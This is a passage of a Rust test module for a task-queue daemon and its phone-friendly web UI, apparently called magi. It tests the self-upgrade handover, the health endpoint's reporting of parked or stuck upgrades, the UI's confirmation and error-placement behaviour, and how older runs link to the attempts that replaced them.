14683            "nothing has ever asked this deck to upgrade"
14684        );
14685    }
14686
14687    #[tokio::test]
14688    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14689        let fx = Fixture::start().await;
14690        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14691
14692        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14693        progress.parked_run = Some("20260905-000000-cd51".to_owned());
14694        progress.advance(crate::updater::Stage::Parking);
14695        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14696
14697        let health = fx.get("/api/health").await.json();
14698        assert_eq!(health["upgrade"]["stage"], "parking");
14699        assert_eq!(health["upgrade"]["from"], "0.5.1");
14700        assert_eq!(health["upgrade"]["to"], "0.5.2");
14701        let waiting_on = health["upgrade"]["waiting_on"]
14702            .as_str()
14703            .expect("waiting_on is set while parking a known run");
14704        assert!(waiting_on.contains("cd51"), "{waiting_on}");
14705        assert!(waiting_on.contains("implementing"), "{waiting_on}");
14706    }
14707
14708    #[tokio::test]
14709    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14710        let fx = Fixture::start().await;
14711        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14712        progress.advance(crate::updater::Stage::Done);
14713        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14714
14715        let health = fx.get("/api/health").await.json();
14716        assert_eq!(health["upgrade"]["stage"], "done");
14717        assert!(
14718            health["upgrade"]["waiting_on"].is_null(),
14719            "nothing to wait on once it is done"
14720        );
14721    }
14722
14723    #[tokio::test]
14724    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14725        let home = TempDir::new().expect("temp home");
14726        let runs = home.path().join("runs");
14727        std::fs::create_dir_all(&runs).expect("runs dir");
14728        let ui = Ui::new(
14729            Queue::at(home.path().join("queue")),
14730            Questions::at(home.path().join("questions")),
14731            Talks::at(home.path().join("talks")),
14732            runs,
14733            home.path().to_path_buf(),
14734            PathBuf::from("/repo/magi"),
14735        )
14736        .with_launch(launch_idle);
14737        let looping = ui.looping();
14738        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14739            .await
14740            .expect("bind loopback");
14741        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14742
14743        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14744        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14745
14746        hand_over(home.path(), &looping, served, |_| Ok(1))
14747            .await
14748            .expect("hand over");
14749
14750        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14751        assert_eq!(
14752            after.stage,
14753            crate::updater::Stage::Restarting,
14754            "hand_over owns the record through parking and up to restarting; \
14755             the successor is what finishes it"
14756        );
14757    }
14758
14759    /// The successor is started exactly once on success, and exactly once on
14760    /// failure too (a failed start is reported, never retried).
14761    #[tokio::test]
14762    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14763        for fail in [false, true] {
14764            let home = TempDir::new().expect("temp home");
14765            let ui = idle_ui(&home);
14766            let looping = ui.looping();
14767            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14768                .await
14769                .expect("bind loopback");
14770            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14771            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14772            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14773
14774            let calls = std::sync::atomic::AtomicUsize::new(0);
14775            let outcome = hand_over(home.path(), &looping, served, |_| {
14776                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14777                if fail {
14778                    anyhow::bail!("no exec")
14779                } else {
14780                    Ok(4242)
14781                }
14782            })
14783            .await;
14784            assert_eq!(outcome.is_err(), fail);
14785            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14786
14787            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14788                .expect("upgrade.log is written under the home");
14789            for step in [
14790                "entered",
14791                "finish_loop",
14792                "listener released",
14793                "starting the successor",
14794            ] {
14795                assert!(log.contains(step), "missing `{step}` in:\n{log}");
14796            }
14797            assert!(
14798                log.contains(if fail { "did not start" } else { "pid 4242" }),
14799                "{log}"
14800            );
14801        }
14802    }
14803
14804    /// The handover signal is seen however the race falls, and wakes its one
14805    /// waiter once per signal - nothing here can spin.
14806    #[tokio::test]
14807    async fn the_handover_signal_wakes_one_waiter_once() {
14808        let signal = Notify::new();
14809        // Signalled before anyone waits: the stored permit is not lost.
14810        signal.notify_one();
14811        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14812            .await
14813            .expect("an early signal is still seen");
14814        // One signal, one wake-up: a second wait does not resolve by itself.
14815        assert!(
14816            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14817                .await
14818                .is_err(),
14819            "a consumed signal must not wake a second time"
14820        );
14821        // Signalled while waiting.
14822        let signal = std::sync::Arc::new(signal);
14823        let waiter = tokio::spawn({
14824            let signal = std::sync::Arc::clone(&signal);
14825            async move { wait_for_handover(&signal).await }
14826        });
14827        tokio::time::sleep(Duration::from_millis(20)).await;
14828        assert!(!waiter.is_finished(), "nothing was signalled yet");
14829        signal.notify_one();
14830        tokio::time::timeout(Duration::from_secs(5), waiter)
14831            .await
14832            .expect("a late signal wakes the waiter")
14833            .expect("join");
14834    }
14835
14836    #[tokio::test]
14837    async fn health_says_how_long_a_handover_has_been_stuck() {
14838        let fx = Fixture::start().await;
14839        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14840        progress.advance(crate::updater::Stage::Replaced);
14841        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14842        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14843
14844        let health = fx.get("/api/health").await.json();
14845        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14846        assert!(stuck >= 600, "{stuck}");
14847        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14848        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14849    }
14850
14851    #[tokio::test]
14852    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14853        let home = tempfile::tempdir().expect("temp home");
14854        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14855        progress.advance(crate::updater::Stage::Parking);
14856        crate::updater::write_progress(home.path(), &progress).expect("seed");
14857        // What the second upgrade_and_restart and its handler do.
14858        let mut again = progress.clone();
14859        again.advance(crate::updater::Stage::Replaced);
14860        crate::updater::write_progress(home.path(), &again).expect("replaced");
14861        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14862        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14863        let after = crate::updater::read_progress(home.path()).expect("record");
14864        assert_eq!(after.stage, crate::updater::Stage::Parking);
14865    }
14866
14867    #[tokio::test]
14868    async fn health_does_not_call_a_live_parking_wait_stuck() {
14869        let fx = Fixture::start().await;
14870        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14871        progress.parked_run = Some("20260905-000000-cd51".to_owned());
14872        progress.advance(crate::updater::Stage::Parking);
14873        let hours = Duration::from_secs(3 * 3600);
14874        progress.started_at = Timestamp::now() - hours;
14875        progress.updated_at = Timestamp::now() - hours;
14876        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14877        let _lease = crate::updater::LeaseGuard::enter(
14878            fx.home.path(),
14879            Some("20260905-000000-cd51".to_owned()),
14880        );
14881
14882        let health = fx.get("/api/health").await.json();
14883        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14884        assert!(health["upgrade"]["stuck_kind"].is_null());
14885        assert_eq!(health["upgrade"]["handover_alive"], true);
14886        let waiting_on = health["upgrade"]["waiting_on"]
14887            .as_str()
14888            .expect("waiting_on");
14889        assert!(waiting_on.contains("cd51"), "{waiting_on}");
14890    }
14891
14892    fn idle_ui(home: &TempDir) -> Ui {
14893        let runs = home.path().join("runs");
14894        std::fs::create_dir_all(&runs).expect("runs dir");
14895        Ui::new(
14896            Queue::at(home.path().join("queue")),
14897            Questions::at(home.path().join("questions")),
14898            Talks::at(home.path().join("talks")),
14899            runs,
14900            home.path().to_path_buf(),
14901            PathBuf::from("/repo/magi"),
14902        )
14903        .with_launch(launch_idle)
14904    }
14905
14906    /// Run `hand_over` against `ui` and return what the successor was told.
14907    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14908        let looping = ui.looping();
14909        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14910            .await
14911            .expect("bind loopback");
14912        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14913        let told = std::sync::Mutex::new(None);
14914        hand_over(home.path(), &looping, served, |resume| {
14915            *told.lock().unwrap() = Some(resume);
14916            Ok(1)
14917        })
14918        .await
14919        .expect("hand over");
14920        told.into_inner().unwrap().expect("successor was started")
14921    }
14922
14923    #[tokio::test]
14924    async fn a_running_loop_is_resumed_by_the_successor() {
14925        let home = TempDir::new().expect("temp home");
14926        let ui = idle_ui(&home);
14927        ui.start_loop(None).expect("start");
14928        ui.park_for_upgrade().expect("park");
14929        // The idle loop sees the park and ends before the handover fires.
14930        for _ in 0..500 {
14931            if !ui.loop_view(None).running {
14932                break;
14933            }
14934            tokio::time::sleep(Duration::from_millis(2)).await;
14935        }
14936        assert!(handed_over(&home, ui).await, "a running loop must resume");
14937
14938        let successor = idle_ui(&home);
14939        assert!(!successor.loop_view(None).running);
14940        assert!(successor.resume_after_handover(true));
14941        assert!(successor.loop_view(None).running);
14942        successor.stop_loop(None, false).expect("stop");
14943    }
14944
14945    #[tokio::test]
14946    async fn a_second_upgrade_request_keeps_the_resume_intent() {
14947        let home = TempDir::new().expect("temp home");
14948        let ui = idle_ui(&home);
14949        ui.start_loop(None).expect("start");
14950        ui.park_for_upgrade().expect("first park");
14951        ui.park_for_upgrade().expect("second park");
14952        assert!(handed_over(&home, ui).await);
14953    }
14954
14955    #[tokio::test]
14956    async fn a_stop_during_the_handover_wait_is_honoured() {
14957        let home = TempDir::new().expect("temp home");
14958        let ui = idle_ui(&home);
14959        ui.start_loop(None).expect("start");
14960        ui.park_for_upgrade().expect("park");
14961        ui.stop_loop(None, false).expect("stop");
14962        assert!(!handed_over(&home, ui).await);
14963    }
14964
14965    #[tokio::test]
14966    async fn an_idle_loop_stays_stopped_across_the_handover() {
14967        let home = TempDir::new().expect("temp home");
14968        let ui = idle_ui(&home);
14969        ui.park_for_upgrade().expect("park");
14970        assert!(!handed_over(&home, ui).await);
14971
14972        let successor = idle_ui(&home);
14973        assert!(!successor.resume_after_handover(false));
14974        assert!(!successor.loop_view(None).running);
14975    }
14976
14977    #[tokio::test]
14978    async fn a_loop_the_operator_stopped_is_not_resumed() {
14979        let home = TempDir::new().expect("temp home");
14980        let ui = idle_ui(&home);
14981        ui.start_loop(None).expect("start");
14982        ui.stop_loop(None, false).expect("stop");
14983        ui.park_for_upgrade().expect("park");
14984        assert!(!handed_over(&home, ui).await);
14985    }
14986
14987    #[test]
14988    fn only_an_explicit_one_requests_a_resume() {
14989        assert!(!resume_requested(None));
14990        assert!(!resume_requested(Some("0".into())));
14991        assert!(!resume_requested(Some("".into())));
14992        assert!(resume_requested(Some("1".into())));
14993    }
14994
14995    #[test]
14996    fn the_upgrade_button_arms_before_it_restarts_anything() {
14997        // It ends the process the operator is talking to, and a phone in a
14998        // pocket taps things. One tap arms, the second commits.
14999        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15000        assert!(APP_JS.contains("Replace the binary and restart?"));
15001        assert!(APP_JS.contains("function confirmed("));
15002        // Hidden when the loop is somebody else's, matching the 409 above -
15003        // and hidden with nothing to install, matching the 200 "already
15004        // current" branch: an operator on the newest build must not be
15005        // offered a restart that would only park a run for nothing.
15006        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15007        // A park waits for the node in flight, up to an hour for an implement
15008        // wave. Leaving the button reading "Upgrading…" for that long is the
15009        // same mistake as an error rendered off screen: it looks wedged.
15010        assert!(
15011            APP_JS.contains("Parking, then restarting"),
15012            "the button says what it is waiting for"
15013        );
15014        // And nothing to install must give the button back rather than
15015        // pretending a restart is coming.
15016        assert!(APP_JS.contains("if (!out.to)"));
15017    }
15018
15019    #[test]
15020    fn stopping_the_loop_arms_but_starting_does_not() {
15021        // A stray tap must not leave the queue stopped overnight, so a stop is
15022        // two taps through the same helper the upgrade uses; a start stays one.
15023        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15024        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15025        assert!(APP_JS.contains("confirmed(button, question)"));
15026        // The label put back on timeout is the one saved when arming, not a
15027        // hard-coded upgrade caption that would rename the stop button.
15028        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
15029        assert!(APP_JS.contains("const label = btn.textContent;"));
15030        assert!(!APP_JS.contains("Neither direction is guarded"));
15031    }
15032
15033    #[test]
15034    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15035        assert!(
15036            APP_JS.contains("state.health.version"),
15037            "the operator wants to know what is running even with nothing newer"
15038        );
15039        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15040    }
15041
15042    #[test]
15043    fn the_upgrade_button_names_its_destination() {
15044        assert!(
15045            APP_JS.contains("`Update to ${update.to}`"),
15046            "pressing the button should not be a surprise about what it moves to"
15047        );
15048    }
15049
15050    #[test]
15051    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15052        for stage in ["downloading", "replaced", "parking", "restarting"] {
15053            assert!(
15054                APP_JS.contains(&format!("\"{stage}\"")),
15055                "the phone must be able to tell {stage} apart from the others"
15056            );
15057        }
15058        assert!(APP_JS.contains(".waiting_on"));
15059        // What replaced the bare "Cannot reach magi: Failed to fetch": a
15060        // fetch failing while an upgrade is in flight is not an error, it is
15061        // the sub-second gap `bind_waiting` covers, and it must not be
15062        // reported as one.
15063        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15064        assert!(APP_JS.contains("reconnects on its own"));
15065    }
15066
15067    #[test]
15068    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15069        // `Stage::Failed` is terminal on the server and nothing clears it on
15070        // its own - not a fresh start, not time passing - so a full-strip
15071        // takeover for it (the way the busy stages take the strip over,
15072        // correctly, because those are transient) would have hidden
15073        // start/stop/park behind an upgrade notice with no way back short of
15074        // a person editing `upgrade.json` by hand or a later release
15075        // happening to succeed. The failure must instead ride along as a note
15076        // next to whatever control the loop's own state already offers.
15077        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15078            ..APP_JS.find("function upgrade(").expect("upgrade")];
15079        assert!(
15080            !body.contains(
15081                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
15082            ),
15083            "a failed upgrade must not take the whole strip over the way it used to"
15084        );
15085        assert!(
15086            body.contains("upgradeFailNote"),
15087            "the failure has to reach the loop's own note instead"
15088        );
15089        // `quiet` and `control` are the only two places `loop-why` is set from
15090        // this function's own state; both must carry the note through, or a
15091        // future edit to either one would silently drop it again.
15092        assert_eq!(
15093            body.matches("upgradeFailNote].filter(Boolean).join")
15094                .count(),
15095            2,
15096            "both loop-why writers (quiet and control) must fold the note in"
15097        );
15098    }
15099
15100    #[test]
15101    fn an_overdue_upgrade_eventually_asks_for_a_human() {
15102        // The ceiling has to clear a full hour-long park with room to spare,
15103        // or an ordinary implement wave would be reported as a stuck upgrade.
15104        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15105        assert!(APP_JS.contains("function upgradeOverdue("));
15106    }
15107
15108    #[test]
15109    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15110        assert!(
15111            APP_JS.contains("Updated to ${upgradeInfo.to"),
15112            "the operator who asked for the restart wants to know it worked"
15113        );
15114    }
15115
15116    #[test]
15117    fn an_error_is_visible_from_where_the_button_is() {
15118        // The alert used to sit in the flow under the header. On a phone
15119        // scrolled 13 500 px down to a run's action sheet that is off screen,
15120        // so tapping Resume and being told "the loop is running run b455
15121        // right now" looked exactly like a button that did nothing.
15122        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15123            ..APP_CSS.find(".alert-text").expect(".alert-text")];
15124        assert!(
15125            alert.contains("position: fixed"),
15126            "an error about the thing under your thumb has to be visible from \
15127             where your thumb is: {alert}"
15128        );
15129        assert!(
15130            alert.contains("z-index: 25"),
15131            "above the dock (20) and the run-actions FAB (15), so neither \
15132             buries it: {alert}"
15133        );
15134        assert!(
15135            alert.contains("var(--tap)"),
15136            "and clear of the dock and the home indicator: {alert}"
15137        );
15138        // The FAB sits at the same height on the right. An error that covered
15139        // it would hide the button the operator reaches for next.
15140        assert!(
15141            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15142            "the FAB's column stays free: {alert}"
15143        );
15144    }
15145
15146    #[tokio::test]
15147    async fn an_older_attempt_says_what_replaced_it() {
15148        let fx = Fixture::start().await;
15149        let q = fx.queue();
15150        let runs = fx.runs();
15151        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15152        write_run(&runs, first, RunStatus::Stalled);
15153        write_run(&runs, second, RunStatus::Blocked);
15154
15155        let mut t = Task::new(
15156            "one task".to_owned(),
15157            "do it".to_owned(),
15158            PathBuf::from("/repo"),
15159            Source::Human,
15160        );
15161        t.runs = vec![first.to_owned(), second.to_owned()];
15162        q.put(&mut t).expect("put");
15163
15164        // Two cards with the same title and no hint which is which was the
15165        // question: "why are there two of the same, one stalled and one
15166        // blocked?" The older one now names its replacement.
15167        let rows = fx.get("/api/runs").await.json();
15168        let by = |short: &str| -> Value {
15169            rows.as_array()
15170                .unwrap()
15171                .iter()
15172                .find(|r| r["short"] == short)
15173                .cloned()
15174                .unwrap_or(Value::Null)
15175        };
15176        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15177        assert!(
15178            by("bbbb")["superseded_by"].is_null(),
15179            "the latest attempt is not superseded by anything"
15180        );
15181        // Front end: the note has to be rendered, not just carried.
15182        assert!(APP_JS.contains("run.superseded_by"));
15183        assert!(APP_JS.contains("Superseded by"));
15184    }
15185
15186    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15187        let mut t = Task::new(
15188            "one task".to_owned(),
15189            "do it".to_owned(),
15190            PathBuf::from("/repo"),
15191            Source::Human,
15192        );
15193        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15194        t.status = status;
15195        t
15196    }
15197
15198    #[test]
15199    fn source_link_picks_the_page_that_filed_the_task() {
15200        let agent = |node: &str| Source::Agent {
15201            run: "20260904-014455-ab12".to_owned(),
15202            node: node.to_owned(),
15203        };
15204        let chat = source_link(&agent("chat")).expect("chat link");
15205        assert_eq!(chat.kind, "chat");
15206        assert_eq!(chat.id, "20260904-014455-ab12");
15207        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15208        let run = source_link(&agent("implement")).expect("run link");
15209        assert_eq!(
15210            (run.kind, run.href.as_str()),
15211            ("run", "#/runs/20260904-014455-ab12")
15212        );
15213        assert_eq!(source_link(&Source::Human), None);
15214        assert_eq!(
15215            source_link(&Source::Issue {
15216                number: 3,
15217                repo: "o/r".to_owned()
15218            }),
15219            None
15220        );
15221        let odd = source_link(&Source::Agent {
15222            run: "a b/c".to_owned(),
15223            node: "chat".to_owned(),
15224        })
15225        .expect("link");
15226        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15227    }
15228
15229    #[test]
15230    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15231        assert!(
15232            !APP_JS.contains("src.node === \"chat\""),
15233            "inline href rule is back"
15234        );
15235        assert!(
15236            APP_JS.matches("sourceLinkOf(").count() >= 4,
15237            "helper must serve every page"
15238        );
15239        assert!(
15240            APP_JS.matches("openChatLink(").count() >= 3,
15241            "the run page still needs its explicit chat link"
15242        );
15243        assert!(
15244            !APP_JS.contains("const openChat = el("),
15245            "the Queue card duplicates its source label link again"
15246        );
15247        assert!(
15248            APP_JS.contains("metaKids.push(link ? el(\"a\""),
15249            "the task page must link a chat source label too"
15250        );
15251    }
15252
15253    #[test]
15254    fn task_ref_carries_the_source_link_for_a_chat_task() {
15255        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15256        t.source = Source::Agent {
15257            run: "20260904-014455-ab12".to_owned(),
15258            node: "chat".to_owned(),
15259        };
15260        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15261        let v = serde_json::to_value(&out).expect("json");
15262        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15263        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15264        assert_eq!(v["source_label"], t.source.label());
15265
15266        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15267        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15268            .expect("json");
15269        assert!(v["source_link"].is_null(), "{v}");
15270    }
15271
15272    #[test]
15273    fn task_view_serializes_source_link() {
15274        let mut t = Task::new(
15275            "t".to_owned(),
15276            "t".to_owned(),
15277            PathBuf::from("/repo"),
15278            Source::Agent {
15279                run: "20260901-000000-aaaa".to_owned(),
15280                node: "implement".to_owned(),
15281            },
15282        );
15283        t.runs.clear();
15284        let v = serde_json::to_value(TaskView::from(t)).expect("json");
15285        assert_eq!(v["source_link"]["kind"], "run", "{v}");
15286        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15287    }
15288
15289    #[tokio::test]
15290    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15291        let fx = Fixture::start().await;
15292        let runs = fx.runs();
15293        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15294        write_run(&runs, old, RunStatus::Blocked);
15295        write_run(&runs, new, RunStatus::Merged);
15296        let mut t = outcome_task(&[old, new], TaskStatus::Done);
15297        fx.queue().put(&mut t).expect("put");
15298
15299        let view = fx.get(&format!("/api/runs/{old}")).await.json();
15300        let task = &view["task"];
15301        assert_eq!(task["status"], "done");
15302        assert_eq!(task["is_latest"], false);
15303        assert_eq!(task["latest"]["short"], "bbbb");
15304        assert_eq!(task["finished_by"]["id"], new);
15305        assert_eq!(task["finished_by"]["outcome"], "merged");
15306        assert_eq!(task["closed_by_hand"], false);
15307        assert_eq!(view["status"], "blocked", "the run keeps its own status");
15308        assert!(APP_JS.contains("finished_by"));
15309        assert!(APP_JS.contains("superseded by run"));
15310    }
15311
15312    #[tokio::test]
15313    async fn the_latest_run_reports_a_held_task_without_a_successor() {
15314        let fx = Fixture::start().await;
15315        let runs = fx.runs();
15316        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15317        write_run(&runs, old, RunStatus::Stalled);
15318        write_run(&runs, new, RunStatus::Blocked);
15319        let mut t = outcome_task(&[old, new], TaskStatus::Held);
15320        fx.queue().put(&mut t).expect("put");
15321
15322        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15323        assert_eq!(task["status"], "held");
15324        assert_eq!(task["is_latest"], true);
15325        assert!(task["latest"].is_null());
15326        assert!(task["finished_by"].is_null());
15327        assert_eq!(task["closed_by_hand"], false);
15328    }
15329
15330    #[tokio::test]
15331    async fn a_direct_run_has_no_task_outcome() {
15332        let fx = Fixture::start().await;
15333        let runs = fx.runs();
15334        let id = "20260901-000000-aaaa";
15335        write_run(&runs, id, RunStatus::Blocked);
15336        let view = fx.get(&format!("/api/runs/{id}")).await.json();
15337        assert!(view["task"].is_null());
15338    }
15339
15340    #[test]
15341    fn task_outcome_does_not_guess_a_finishing_run() {
15342        let a = "20260901-000000-aaaa";
15343        let b = "20260901-000000-bbbb";
15344        let c = "20260901-000000-cccc";
15345        let dir = tempfile::tempdir().expect("tempdir");
15346        write_run(dir.path(), a, RunStatus::Blocked);
15347        write_run(dir.path(), b, RunStatus::VerifiedNoop);
15348        // `c` has no record: unreadable.
15349        let read = |id: &str| read_run(dir.path(), id).ok();
15350        // Neither a blocked run nor a no-op finished the task; the newest run is
15351        // unreadable and still named.
15352        let t = outcome_task(&[a, b, c], TaskStatus::Done);
15353        let out = task_outcome(&t, a, 3, read);
15354        assert!(out.finished_by.is_none());
15355        assert!(out.closed_by_hand);
15356        let latest = out.latest.expect("latest");
15357        assert_eq!(latest.id, c);
15358        assert_eq!(latest.status, None);
15359        assert_eq!(latest.outcome, "record unreadable");
15360
15361        // A Ready run settles the task as done, so it is named as the finisher.
15362        write_run(dir.path(), c, RunStatus::Ready);
15363        let t = outcome_task(&[a, c], TaskStatus::Done);
15364        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15365        assert_eq!(out.finished_by.expect("finisher").id, c);
15366        assert!(!out.closed_by_hand);
15367
15368        // A resumed run id repeats: it is still the latest by id.
15369        let t = outcome_task(&[a, b, a], TaskStatus::Held);
15370        assert!(task_outcome(&t, a, 3, read).is_latest);
15371    }
15372
15373    #[tokio::test]
15374    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15375        // The list route has known this since the card fix above; the detail
15376        // route — what an operator actually opens from a notification about
15377        // a blocked run — did not, and went on showing a bare red BLOCKED
15378        // chip for a run a retry had already finished.
15379        let fx = Fixture::start().await;
15380        let q = fx.queue();
15381        let runs = fx.runs();
15382        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15383        write_run(&runs, first, RunStatus::Blocked);
15384        write_run(&runs, second, RunStatus::Merged);
15385
15386        let mut t = Task::new(
15387            "one task".to_owned(),
15388            "do it".to_owned(),
15389            PathBuf::from("/repo"),
15390            Source::Human,
15391        );
15392        t.runs = vec![first.to_owned(), second.to_owned()];
15393        q.put(&mut t).expect("put");
15394
15395        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15396        assert_eq!(earlier["superseded_by"], "dddd");
15397        assert_eq!(earlier["latest_attempt"]["id"], second);
15398        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15399        assert_eq!(
15400            earlier["latest_attempt"]["resolved"], true,
15401            "the run that replaced it landed, so this one reads as settled"
15402        );
15403
15404        let later = fx.get(&format!("/api/runs/{second}")).await.json();
15405        assert!(
15406            later["superseded_by"].is_null(),
15407            "the latest attempt is not superseded by anything"
15408        );
15409        assert!(
15410            later["latest_attempt"].is_null(),
15411            "the latest attempt has no later attempt of its own"
15412        );
15413
15414        // Front end: the detail page has to read the field this route now
15415        // carries, downgrade the chip, and link to the run that replaced it —
15416        // not just repeat the list card's own logic under a different name.
15417        // The link is built off `latest_attempt.id`, the server-resolved
15418        // full id, never a bare short string a client would have to guess a
15419        // full run from.
15420        assert!(APP_JS.contains("run.latest_attempt"));
15421        assert!(APP_JS.contains("data-superseded"));
15422        assert!(APP_JS.contains("#/runs/${latest.id}"));
15423    }
15424
15425    #[tokio::test]
15426    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15427        // A -> B -> C, all Blocked except the last. A's immediate successor
15428        // (superseded_by) is B, which is itself unresolved; what an operator
15429        // opening A's page actually needs is where the task's story stands
15430        // *now* - C, not B - without depending on whether C happens to be in
15431        // whatever page of /api/runs the client last cached.
15432        let fx = Fixture::start().await;
15433        let q = fx.queue();
15434        let runs = fx.runs();
15435        let (a, b, c) = (
15436            "20260901-000000-aaaa",
15437            "20260901-000000-bbbb",
15438            "20260901-000000-cccc",
15439        );
15440        write_run(&runs, a, RunStatus::Blocked);
15441        write_run(&runs, b, RunStatus::Blocked);
15442        write_run(&runs, c, RunStatus::Merged);
15443
15444        let mut t = Task::new(
15445            "retried twice".to_owned(),
15446            "do it".to_owned(),
15447            PathBuf::from("/repo"),
15448            Source::Human,
15449        );
15450        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15451        q.put(&mut t).expect("put");
15452
15453        let view = fx.get(&format!("/api/runs/{a}")).await.json();
15454        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15455        assert_eq!(
15456            view["latest_attempt"]["id"], c,
15457            "the chain's current head, not the intermediate Blocked retry"
15458        );
15459        assert_eq!(view["latest_attempt"]["resolved"], true);
15460
15461        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15462        assert_eq!(mid["latest_attempt"]["id"], c);
15463        assert_eq!(mid["latest_attempt"]["resolved"], true);
15464    }
15465
15466    #[tokio::test]
15467    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15468        let fx = Fixture::start().await;
15469        let q = fx.queue();
15470        let runs = fx.runs();
15471
15472        // Still Blocked: the task is not resolved, so the older run must not
15473        // read as settled either.
15474        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15475        write_run(&runs, still_blocked_a, RunStatus::Blocked);
15476        write_run(&runs, still_blocked_b, RunStatus::Blocked);
15477        let mut t1 = Task::new(
15478            "still stuck".to_owned(),
15479            "do it".to_owned(),
15480            PathBuf::from("/repo"),
15481            Source::Human,
15482        );
15483        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15484        q.put(&mut t1).expect("put");
15485        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15486        assert_eq!(view1["latest_attempt"]["resolved"], false);
15487        assert_eq!(view1["latest_attempt"]["status"], "blocked");
15488        assert_eq!(view1["latest_attempt"]["done"], true);
15489
15490        // Still running: the successor exists and must be reported as such.
15491        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15492        write_run(&runs, run_a, RunStatus::Blocked);
